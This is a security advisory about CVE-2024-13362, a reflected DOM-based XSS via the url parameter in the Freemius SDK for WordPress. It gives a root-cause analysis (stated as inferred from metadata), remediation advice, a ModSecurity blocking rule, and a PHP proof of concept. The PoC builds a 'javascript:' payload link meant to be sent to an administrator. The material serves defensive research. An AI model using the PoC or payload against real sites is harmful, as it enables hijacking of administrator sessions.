Atomic Edge analysis of CVE-2024-13362 (metadata-based): This reflected DOM-based XSS vulnerability affects the Freemius framework library (version 2.10.1 and below) and any WordPress plugins or themes that bundle it, including the easy-age-verify plugin (vulnerable version 1.8.5). The CVSS score is 6.1 (Medium), with network attack vector, low complexity, no privileges required, and user interaction required.
The root cause, inferred from the CWE-79 classification and description, is improper neutralization of user-supplied input in the url parameter within a JavaScript context. The vulnerable code likely reads the url parameter from the URL query string or the DOM and then injects that value into the page without proper encoding. Since the vulnerability is described as DOM-based, the attacker’s input is processed by client-side JavaScript (not server-side PHP), making it a client-side XSS that executes in the victim’s browser. This conclusion is inferred from the CWE and description; no code diff was available for confirmation.
An attacker can craft a malicious link containing a JavaScript payload in the url parameter, such as ?url=javascript:alert(1). When a logged-in administrator clicks the link, the vulnerable Freemius JavaScript code reads the url parameter and writes it to the DOM without sanitization, executing the attacker’s script. The attack does not require authentication. The specific endpoint varies per plugin; for the easy-age-verify plugin, the vulnerable script may be loaded on any page where the Freemius SDK is active.
Remediation likely requires the developer to properly encode or validate the url parameter before using it in DOM operations. Server-side changes can validate the url against an allowlist of known domains. Client-side changes must use safe DOM APIs (e.g., textContent or createTextNode) instead of innerHTML or document.write, and apply URL encoding via encodeURI() or a similar function before updating location-related properties.
Impact if exploited includes arbitrary JavaScript execution in the context of the victim’s WordPress admin session. An attacker can steal session cookies, perform administrative actions (create new admin users, install malicious plugins), deface the site, or redirect users to phishing pages. The CVSS impact metrics (Low confidentiality, Low integrity) confirm that complete site compromise is possible though not guaranteed, depending on the attacker’s objectives and the victim’s privileges.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Blocks reflected DOM XSS via url parameter on any page containing Freemius SDK.
# Targets the url parameter with javascript: or data: schemes.
SecRule REQUEST_URI "@rx /" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Freemius url Parameter XSS',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS_GET:url "@rx ^(javascript|data|vbscript):" "t:lowercase,t:urlDecode"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
// This PoC targets the easy-age-verify plugin with Freemius SDK embedded.
// It sends a crafted URL with a malicious url parameter to a front page.
// The vulnerable JavaScript reads the url parameter and injects it into the DOM.
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
// JavaScript payload that will execute in the victim's browser
$xss_payload = 'javascript:alert(1)';
// Construct the malicious URL with XSS in the url parameter
$malicious_url = $target_url . '/?url=' . urlencode($xss_payload);
// Output the URL (attacker would trick victim into clicking this link)
echo "Send the following link to an authenticated WordPress admin:n";
echo $malicious_url . "nn";
// Optionally demonstrate via curl - but this is a click-based attack
// We simulate logging the response to verify the payload is reflected
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'AtomicEdge-PoC');
$response = curl_exec($ch);
curl_close($ch);
if ($response === false) {
die("Error fetching the URL.n");
}
// Check if the payload appears in the response (may be obfuscated by JS)
if (strpos($response, $xss_payload) !== false) {
echo "[+] Payload reflected in HTML response (likely vulnerable).n";
} else {
echo "[-] Payload not directly reflected in HTML. Check browser DOM for execution.n";
echo " The vulnerability is DOM-based and executes client-side.n";
}
